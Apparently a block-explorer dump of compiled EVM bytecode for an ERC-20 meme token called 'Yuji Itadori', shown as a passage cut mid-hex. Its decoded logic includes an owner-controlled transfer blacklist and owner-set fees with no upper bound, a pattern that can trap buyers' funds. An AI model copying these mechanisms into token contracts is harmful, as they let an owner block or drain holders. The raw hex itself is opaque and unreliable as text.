ffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119495750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561199f5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119b4576010548111156119b357600080fd5b5b60006119bf306108ac565b9050600e60159054906101000a900460ff16158015611a2c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a445750600e60169054906101000a900460ff165b15611a6c57611a5281611ae2565b60004790506000811115611a6a57611a6947611e4a565b5b505b505b611a79838383611f45565b505050565b6000838311158290611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abd9190612ccd565b60405180910390fd5b5060008385611ad59190613066565b9050809150509392505050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b40577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b6e5781602001602082028036833780820191505090505b5090503081600081518110611bac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4e57600080fd5b505afa158015611c62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c869190612723565b81600181518110611cc0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d2730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ce565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d8b959493929190612e6a565b600060405180830381600087803b158015611da557600080fd5b505af1158015611db9573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6000600754821115611e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1a90612d0f565b60405180910390fd5b6000611e2d611f55565b9050611e428184611f8090919063ffffffff16565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e9a600284611f8090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ec5573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f16600284611f8090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f41573d6000803e3d6000fd5b5050565b611f50838383611fca565b505050565b6000806000611f62612195565b91509150611f798183611f8090919063ffffffff16565b9250505090565b6000611fc283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121e2565b905092915050565b600080600080600080611fdc87612245565b95509550955095509550955061203a86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122ad90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120cf85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f790919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061211b81612355565b6121258483612412565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121829190612e4f565b60405180910390a3505050505050505050565b60008060006007549050600060065490506121bd600654600754611f8090919063ffffffff16565b8210156121d5576007546006549350935050506121de565b81819350935050505b9091565b60008083118290612229576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122209190612ccd565b60405180910390fd5b50600083856122389190612fdb565b9050809150509392505050565b60008060008060008060008060006122628a600954600a5461244c565b9250925092506000612272611f55565b905060008060006122858e8787876124e2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006122ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a7e565b905092915050565b60008082846123069190612f85565b90508381101561234b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234290612d6f565b60405180910390fd5b8091505092915050565b600061235f611f55565b90506000612376828461256b90919063ffffffff16565b90506123ca81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f790919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612427826007546122ad90919063ffffffff16565b600781905550612442816008546122f790919063ffffffff16565b6008819055505050565b600080600080612478606461246a888a61256b90919063ffffffff16565b611f8090919063ffffffff16565b905060006124a26064612494888b61256b90919063ffffffff16565b611f8090919063ffffffff16565b905060006124cb826124bd858c6122ad90919063ffffffff16565b6122ad90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124fb858961256b90919063ffffffff16565b90506000612512868961256b90919063ffffffff16565b90506000612529878961256b90919063ffffffff16565b905060006125528261254485876122ad90919063ffffffff16565b6122ad90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561257e57600090506125e0565b6000828461258c919061300c565b905082848261259b9190612fdb565b146125db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d290612d8f565b60405180910390fd5b809150505b92915050565b60006125f96125f484612f04565b612edf565b9050808382526020820190508285602086028201111561261857600080fd5b60005b85811015612648578161262e8882612652565b84526020840193506020830192505060018101905061261b565b5050509392505050565b60008135905061266181613519565b92915050565b60008151905061267681613519565b92915050565b600082601f83011261268d57600080fd5b813561269d8482602086016125e6565b91505092915050565b6000813590506126b581613530565b92915050565b6000815190506126ca81613530565b92915050565b6000813590506126df81613547565b92915050565b6000815190506126f481613547565b92915050565b60006020828403121561270c57600080fd5b600061271a84828501612652565b91505092915050565b60006020828403121561273557600080fd5b600061274384828501612667565b91505092915050565b6000806040838503121561275f57600080fd5b600061276d85828601612652565b925050602061277e85828601612652565b9150509250929050565b60008060006060848603121561279d57600080fd5b60006127ab86828701612652565b93505060206127bc86828701612652565b92505060406127cd868287016126d0565b9150509250925092565b600080604083850312156127ea57600080fd5b60006127f885828601612652565b9250506020612809858286016126d0565b9150509250929050565b60006020828403121561282557600080fd5b600082013567ffffffffffffffff81111561283f57600080fd5b61284b8482850161267c565b91505092915050565b60006020828403121561286657600080fd5b6000612874848285016126a6565b91505092915050565b60006020828403121561288f57600080fd5b600061289d848285016126bb565b91505092915050565b6000602082840312156128b857600080fd5b60006128c6848285016126d0565b91505092915050565b600080604083850312156128e257600080fd5b60006128f0858286016126d0565b9250506020612901858286016126d0565b9150509250929050565b60008060006060848603121561292057600080fd5b600061292e868287016126e5565b935050602061293f868287016126e5565b9250506040612950868287016126e5565b9150509250925092565b60006129668383612972565b60208301905092915050565b61297b8161309a565b82525050565b61298a8161309a565b82525050565b600061299b82612f40565b6129a58185612f63565b93506129b083612f30565b8060005b838110156129e15781516129c8888261295a565b97506129d383612f56565b9250506001810190506129b4565b5085935050505092915050565b6129f7816130ac565b82525050565b612a06816130ef565b82525050565b6000612a1782612f4b565b612a218185612f74565b9350612a31818560208601613101565b612a3a8161323b565b840191505092915050565b6000612a52602383612f74565b9150612a5d8261324c565b604082019050919050565b6000612a75602a83612f74565b9150612a808261329b565b604082019050919050565b6000612a98602283612f74565b9150612aa3826132ea565b604082019050919050565b6000612abb601783612f74565b9150612ac682613339565b602082019050919050565b6000612ade601b83612f74565b9150612ae982613362565b602082019050919050565b6000612b01602183612f74565b9150612b0c8261338b565b604082019050919050565b6000612b24602083612f74565b9150612b2f826133da565b602082019050919050565b6000612b47602983612f74565b9150612b5282613403565b604082019050919050565b6000612b6a602583612f74565b9150612b7582613452565b604082019050919050565b6000612b8d602483612f74565b9150612b98826134a1565b604082019050919050565b6000612bb0601883612f74565b9150612bbb826134f0565b602082019050919050565b612bcf816130d8565b82525050565b612bde816130e2565b82525050565b6000602082019050612bf96000830184612981565b92915050565b6000604082019050612c146000830185612981565b612c216020830184612981565b9392505050565b6000604082019050612c3d6000830185612981565b612c4a6020830184612bc6565b9392505050565b600060c082019050612c666000830189612981565b612c736020830188612bc6565b612c8060408301876129fd565b612c8d60608301866129fd565b612c9a6080830185612981565b612ca760a0830184612bc6565b979650505050505050565b6000602082019050612cc760008301846129ee565b92915050565b60006020820190508181036000830152612ce78184612a0c565b905092915050565b60006020820190508181036000830152612d0881612a45565b9050919050565b60006020820190508181036000830152612d2881612a68565b9050919050565b60006020820190508181036000830152612d4881612a8b565b9050919050565b60006020820190508181036000830152612d6881612aae565b9050919050565b60006020820190508181036000830152612d8881612ad1565b9050919050565b60006020820190508181036000830152612da881612af4565b9050919050565b60006020820190508181036000830152612dc881612b17565b9050919050565b60006020820190508181036000830152612de881612b3a565b9050919050565b60006020820190508181036000830152612e0881612b5d565b9050919050565b60006020820190508181036000830152612e2881612b80565b9050919050565b60006020820190508181036000830152612e4881612ba3565b9050919050565b6000602082019050612e646000830184612bc6565b92915050565b600060a082019050612e7f6000830188612bc6565b612e8c60208301876129fd565b8181036040830152612e9e8186612990565b9050612ead6060830185612981565b612eba6080830184612bc6565b9695505050505050565b6000602082019050612ed96000830184612bd5565b92915050565b6000612ee9612efa565b9050612ef58282613134565b919050565b6000604051905090565b600067ffffffffffffffff821115612f1f57612f1e61320c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f90826130d8565b9150612f9b836130d8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fd057612fcf6131ae565b5b828201905092915050565b6000612fe6826130d8565b9150612ff1836130d8565b925082613001576130006131dd565b5b828204905092915050565b6000613017826130d8565b9150613022836130d8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561305b5761305a6131ae565b5b828202905092915050565b6000613071826130d8565b915061307c836130d8565b92508282101561308f5761308e6131ae565b5b828203905092915050565b60006130a5826130b8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130fa826130d8565b9050919050565b60005b8381101561311f578082015181840152602081019050613104565b8381111561312e576000848401525b50505050565b61313d8261323b565b810181811067ffffffffffffffff8211171561315c5761315b61320c565b5b80604052505050565b6000613170826130d8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131a3576131a26131ae565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b6135228161309a565b811461352d57600080fd5b50565b613539816130ac565b811461354457600080fd5b50565b613550816130d8565b811461355b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c7574883d2cc0fcea54ed3abe4f4950906035fd2f696f47cac34ba345328562f64736f6c63430008040033

Deployed Bytecode

0x6080604052600436106101185760003560e01c806370a08231116100a0578063aac3cd0311610064578063aac3cd0314610398578063b515566a146103c1578063c9567bf9146103ea578063dd62ed3e14610401578063f42938901461043e5761011f565b806370a08231146102b1578063715018a6146102ee5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d57806351bc3c85146102485780635932ead11461025f578063667f6526146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612ccd565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906127d7565b610492565b6040516101839190612cb2565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612e4f565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612788565b6104ba565b6040516101eb9190612cb2565b60405180910390f35b34801561020057600080fd5b5061021b600480360381019061021691906126fa565b610593565b005b34801561022957600080fd5b50610232610683565b60405161023f9190612ec4565b60405180910390f35b34801561025457600080fd5b5061025d610688565b005b34801561026b57600080fd5b5061028660048036038101906102819190612854565b610702565b005b34801561029457600080fd5b506102af60048036038101906102aa91906128cf565b6107b4565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906126fa565b6108ac565b6040516102e59190612e4f565b60405180910390f35b3480156102fa57600080fd5b506103036108fd565b005b34801561031157600080fd5b5061031a610a50565b6040516103279190612be4565b60405180910390f35b34801561033c57600080fd5b50610345610a79565b6040516103529190612ccd565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906127d7565b610ab6565b60405161038f9190612cb2565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906128a6565b610ad4565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190612813565b610b3f565b005b3480156103f657600080fd5b506103ff610c8f565b005b34801561040d57600080fd5b506104286004803603810190610423919061274c565b6111cd565b6040516104359190612e4f565b60405180910390f35b34801561044a57600080fd5b50610453611254565b005b60606040518060400160405280601081526020017f59756a69497461646f7269546f6b656e00000000000000000000000000000000815250905090565b60006104a661049f6112c6565b84846112ce565b6001905092915050565b6000600654905090565b60006104c7848484611499565b610588846104d36112c6565b6105838560405180606001604052806028815260200161355f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105396112c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7e9092919063ffffffff16565b6112ce565b600190509392505050565b61059b6112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90612daf565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106c96112c6565b73ffffffffffffffffffffffffffffffffffffffff16146106e957600080fd5b60006106f4306108ac565b90506106ff81611ae2565b50565b61070a6112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90612daf565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6107bc6112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084090612daf565b60405180910390fd5b6000821015801561085b575060008110155b61089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190612e2f565b60405180910390fd5b8160098190555080600a819055505050565b60006108f6600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ddc565b9050919050565b6109056112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610992576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098990612daf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f59756a6920497461646f72690000000000000000000000000000000000000000815250905090565b6000610aca610ac36112c6565b8484611499565b6001905092915050565b610adc6112c6565b73ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3557600080fd5b8060108190555050565b610b476112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcb90612daf565b60405180910390fd5b60005b8151811015610c8b57600160046000848481518110610c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c8390613165565b915050610bd7565b5050565b610c976112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b90612daf565b60405180910390fd5b600e60149054906101000a900460ff1615610d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6b90612d4f565b60405180910390fd5b610da330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546112ce565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e439190612723565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec757600080fd5b505afa158015610edb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eff9190612723565b6040518363ffffffff1660e01b8152600401610f1c929190612bff565b602060405180830381600087803b158015610f3657600080fd5b505af1158015610f4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6e9190612723565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ff7306108ac565b600080611002610a50565b426040518863ffffffff1660e01b815260040161102496959493929190612c51565b6060604051808303818588803b15801561103d57600080fd5b505af1158015611051573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611076919061290b565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555067016345785d8a00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611178929190612c28565b602060405180830381600087803b15801561119257600080fd5b505af11580156111a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ca919061287d565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112956112c6565b73ffffffffffffffffffffffffffffffffffffffff16146112b557600080fd5b60004790506112c381611e4a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612e0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a590612d2f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161148c9190612e4f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150090612def565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157090612cef565b60405180910390fd5b600081116115bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b390612dcf565b60405180910390fd5b6115c4610a50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116325750611602610a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6e57600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116db5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e457600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e55750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fd5750600e60179054906101000a900460ff165b1561189e5742600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184d57600080fd5b600a4261185a9190612f85565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119495750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561199f5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119b4576010548111156119b357600080fd5b5b60006119bf306108ac565b9050600e60159054906101000a900460ff16158015611a2c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a445750600e60169054906101000a900460ff165b15611a6c57611a5281611ae2565b60004790506000811115611a6a57611a6947611e4a565b5b505b505b611a79838383611f45565b505050565b6000838311158290611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abd9190612ccd565b60405180910390fd5b5060008385611ad59190613066565b9050809150509392505050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b40577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b6e5781602001602082028036833780820191505090505b5090503081600081518110611bac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4e57600080fd5b505afa158015611c62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c869190612723565b81600181518110611cc0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d2730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ce565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d8b959493929190612e6a565b600060405180830381600087803b158015611da557600080fd5b505af1158015611db9573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6000600754821115611e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1a90612d0f565b60405180910390fd5b6000611e2d611f55565b9050611e428184611f8090919063ffffffff16565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e9a600284611f8090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ec5573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f16600284611f8090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f41573d6000803e3d6000fd5b5050565b611f50838383611fca565b505050565b6000806000611f62612195565b91509150611f798183611f8090919063ffffffff16565b9250505090565b6000611fc283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121e2565b905092915050565b600080600080600080611fdc87612245565b95509550955095509550955061203a86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122ad90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120cf85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f790919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061211b81612355565b6121258483612412565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121829190612e4f565b60405180910390a3505050505050505050565b60008060006007549050600060065490506121bd600654600754611f8090919063ffffffff16565b8210156121d5576007546006549350935050506121de565b81819350935050505b9091565b60008083118290612229576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122209190612ccd565b60405180910390fd5b50600083856122389190612fdb565b9050809150509392505050565b60008060008060008060008060006122628a600954600a5461244c565b9250925092506000612272611f55565b905060008060006122858e8787876124e2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006122ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a7e565b905092915050565b60008082846123069190612f85565b90508381101561234b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234290612d6f565b60405180910390fd5b8091505092915050565b600061235f611f55565b90506000612376828461256b90919063ffffffff16565b90506123ca81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f790919063ffffffff16565b600160003073fffffffffffffffffffffff